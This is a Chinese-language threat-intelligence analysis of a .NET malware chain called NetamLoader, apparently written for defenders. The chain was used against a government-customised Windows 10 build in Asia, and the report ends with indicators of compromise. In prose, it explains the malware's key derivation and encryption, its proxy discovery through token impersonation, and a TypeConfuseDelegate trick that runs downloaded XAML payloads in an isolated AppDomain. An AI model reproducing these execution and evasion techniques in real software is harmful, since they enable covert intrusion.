使用主密钥计算 HMAC-SHA256 以获得中间密钥。
使用此中间密钥作为 HMAC 密钥,对常量字节 0x01 计算 HMAC-SHA256。
取所得哈希值的前 16 个字节;这将成为最终派生密钥。
因此,服务器端的加密和解密密钥与客户端(恶意软件)端的密钥相对应。
该代码实现了AES-CBC加密与HMAC-SHA256完整性验证的封装。它使用随机生成的初始化向量(IV)以CBC模式对称加密明文,生成密文。接下来,它使用单独的HMAC密钥计算连接后的“IV+密文”的SHA256消息认证码。最后,它将这三个部分——IV(16字节)、密文和HMAC(32字节)——连接成一个字节数组,构成最终的加密消息。这遵循标准的先加密后消息认证码(MAC)加密结构。接收方必须先验证HMAC,然后才能使用相应的密钥和IV进行解密,从而确保机密性、完整性和防篡改性。
.NET 2 插件使用三种方法检测系统代理:
使用 Win32 WinHTTP API 函数 WinHttpGetDefaultProxyConfiguration() 获取系统范围的代理配置,然后使用正则表达式 (?:([a-zA-Z]+)=)?(.*) 提取代理服务器。
如果失败,请找到正在运行的 explorer.exe 进程,使用 Impersonate() 模拟其访问令牌,并使用 .NET API WebProxy.GetDefaultProxy() 检索其代理配置。
如果两种方法都失败,则回退到从 .NET 属性 DefaultWebProxy 获取代理。
这些方法确保恶意软件即使在有代理的复杂网络环境中也能访问外部网络。
此技术再次滥用 MulticastDelegate,利用反射修改其私有的 _invocationList 数组。.NET 2 插件创建了一个多播委托 (CrossAppDomainDelegate),并将其调用列表中的一个条目替换为指向 XamlReader.Parse() 的恶意委托。当 AppDomain.DoCallBack() 执行此多播委托时,它会遍历调用列表并调用注入的 XamlReader.Parse() 来解析和执行下载的 XAML。
具体来说,流程如下:
创建一个新的独立应用程序域,并以随机生成的 GUID 作为其名称。
将当前应用程序域中的所有配置数据复制到新的应用程序域中。
在新 AppDomain 中设置代理信息并将其分配给变量 px。
使用 TypeConfuseDelegate 将 TimeZoneInfo.ClearCachedData() 替换为 XamlReader.Parse(),从而修改 MulticastDelegate(CrossAppDomainDelegate)。
使用 appDomain.DoCallBack() 在隔离的 AppDomain 中调用 XamlReader.Parse(),执行下载的 XAML 有效负载。
将新 AppDomain 中所有更新的配置数据传输回原 AppDomain。
卸载隔离的应用程序域以完成清理工作。
该技术将下载的恶意有效载荷排除在主应用程序域之外,从而提高了稳定性,并允许在执行后完全清除有效载荷。
此次攻击利用了商业托管基础设施。C2 服务器 IP 地址属于 Cloudflare 的 CDN 服务,域名也是在 Cloudflare 注册的。
根据KSN遥测数据,我们在亚洲发现了一名受害者。此外,我们还了解到该恶意软件旨在攻击专为政府机构定制的Windows操作系统版本。因此,我们推断受害者是亚洲政府机构。
在分析了攻击策略、代码相似性和基础设施之后,我们未能将此次攻击与任何已知的 APT 组织联系起来。
技术主权已成为全球趋势。在当今的地缘政治环境下,越来越多的国家正在构建自己的核心软件平台,包括操作系统、数据库、中间件和云服务,其中操作系统往往是重中之重。这样做的好处在于,每个国家都能掌控自身操作系统的开发、运行和升级,从而在整个过程中拥有完全自主权。但另一方面,这也意味着每个国家都必须独自保护这个庞大的生态系统。要使这样的系统运行和维护达到成熟阶段,需要漫长的过程。在此之前,系统及其新兴的供应链都可能遭受来自多个渠道的攻击,从而增加潜在的安全漏洞。
F2458ED133F8D0CA19E22C10F577E98E e4537a1762fcafd2fd96bfc825bad34f9db9a24d E1DC6F1ED193594F2284BE22AE08DFA4 Resources.resx AB81564BCB8CA7E710C66832DE747556 .NET 1 Loader CFB8B281BDF5D9390E64B10C312FB2C1 .NET 2 Plugin 67E3617F8709D34F806F8E02BADBA8A5 fabric.config 514AC0D73B8A1B73488EF5E2E55A75C3 PatchMyPC-ScriptRunner.exe.config 514117D536E347560D049CFE0C609632 XAML-1 9000820D8153C24CD60D53001D3A97B6 XAML-2 B3C4A635179680EDAFB5D006CF0CFFC6 XAML-2-1 4F28622C5E60C01319BF48CF742FE1A5 XAML-2-2 C86D53392A87DD3F3E62D62C9B92A9BD XAML-3
C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config C:\Windows\SoftwareDistribution\Download\Install\fabric.config C:\Windows\SoftwareDistribution\Download\Install\Resources.resx
恶意软件技术
恶意软件描述
未知APT组织利用NetamLoader攻击了一款为亚洲政府定制的Win10操作系统。
本网站使用 Akismet 来减少垃圾邮件。了解您的评论数据如何处理。
出自同一作者之手
CAV3RN 项目持续推进:Google Apps Script 作为 C2 中继以及基于 DNS 的 C2 信道选择
新项目 CAV3RN 模块利用 Outlook 日历事件获取 C2 和 DNS AAAA 记录以进行配置恢复
OceanLotus 被怀疑使用 PyPI 传播 ZiChatBot 恶意软件
JanelaRAT:一种针对拉丁美洲用户的金融威胁
一款名为 CrystalX 的“笑面鼠”软件,它融合了间谍软件、窃取软件和恶作剧软件的功能。
同一类别
不安全的邻居:漏洞链如何导致云基础设施中的隔离绕过
APT41如何复活黑莲花入侵工具包,攻击中亚外交机构
“闪光洞行动”:拉撒路突破安全防线,无视控制
纸独角兽的旅程:现代仓库里的奇遇
加密货币投资浪费:BlueNoroff 的融资和就业幻影